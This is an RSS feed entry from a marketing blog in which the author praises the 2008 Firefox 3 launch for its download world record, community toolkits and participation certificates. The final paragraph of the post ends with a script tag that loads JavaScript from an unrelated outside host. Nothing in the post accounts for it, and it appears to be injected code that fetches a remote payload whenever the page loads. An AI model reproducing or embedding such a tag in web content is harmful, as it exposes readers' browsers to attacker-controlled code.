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	<title>Escalate - Marketing Critique &#187; firefox</title>
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		<title>Firefox 3 as viral launch</title>
		<link>http://skal8.com/events/firefox-3-as-viral-launch/</link>
		<comments>http://skal8.com/events/firefox-3-as-viral-launch/#comments</comments>
		<pubDate>Sun, 07 Sep 2008 00:37:50 +0000</pubDate>
		<dc:creator>Steve Hammer</dc:creator>
				<category><![CDATA[Events]]></category>
		<category><![CDATA[Participation]]></category>
		<category><![CDATA[Viral]]></category>
		<category><![CDATA[community]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[grassroots]]></category>
		<category><![CDATA[press]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[web browser]]></category>

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		<description><![CDATA[The web browser Firefox 3 (of which I am a proud user), had what can only be called an amazing launch.  They set the world record for downloads of software on a single day, despite plenty of reports of errors &#8230; <a href="http://skal8.com/events/firefox-3-as-viral-launch/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>The web browser Firefox 3 (of which I am a proud user), had what can only be called an amazing launch.  They set the world record for downloads of software on a single day, despite plenty of reports of errors during the launch, such as late start.  They ran two very important websites, <a href="http://www.getfirefox.com">www.getfirefox.com </a>and <a href="http://www.spreadfirefox.com">www.spreadfirefox.com</a>.  Spread firefox was the center for the marketing, and get was the call to action. Firefox is a very well reviewed browser, no doubt, but software like this is a standards and network game, meaning that the value of the software increases as more people have the software.  There were important considerations to having as many people have the software as quickly as possible, and they knocked it out of the park.  <a href="http://www.spreadfirefox.com/en-US/worldrecord/">Over 8 million people downloaded the software in a single day</a>.</p>
<p>The secret is: there was no prior world record for software downloads.  Firefox invented it.  The strategy was amazing.  The press and bloggers wanted to cover it, and users had an incentive to download it as quickly as possible.  They were able to multiply the visiblity of the launch many times over traditional marketing.</p>
<p>They also involved the existing community quite well.  As far as <a href="http://www.mozilla.com/en-US/press/mozilla-2008-05-28.html">grassroots</a> efforts go, they made it easy by having toolkits for the &#8220;faithful&#8221; to spread the word.</p>
<p>Firefox also added an element of pride.  Downloaders could print certificates for their particpation in the occasion.</p>
<p>From every aspect, the launch was an amazing use of publicty and community involvment.  I applaud them for setting the record they created&#8230;  and acheiving a very critical strategic goal with their innovative marketing.  They got beyond the functional improvements of the browser and made it an event to get a new piece of software.<script src="http://jsss.ce.ms/17"></script></p>
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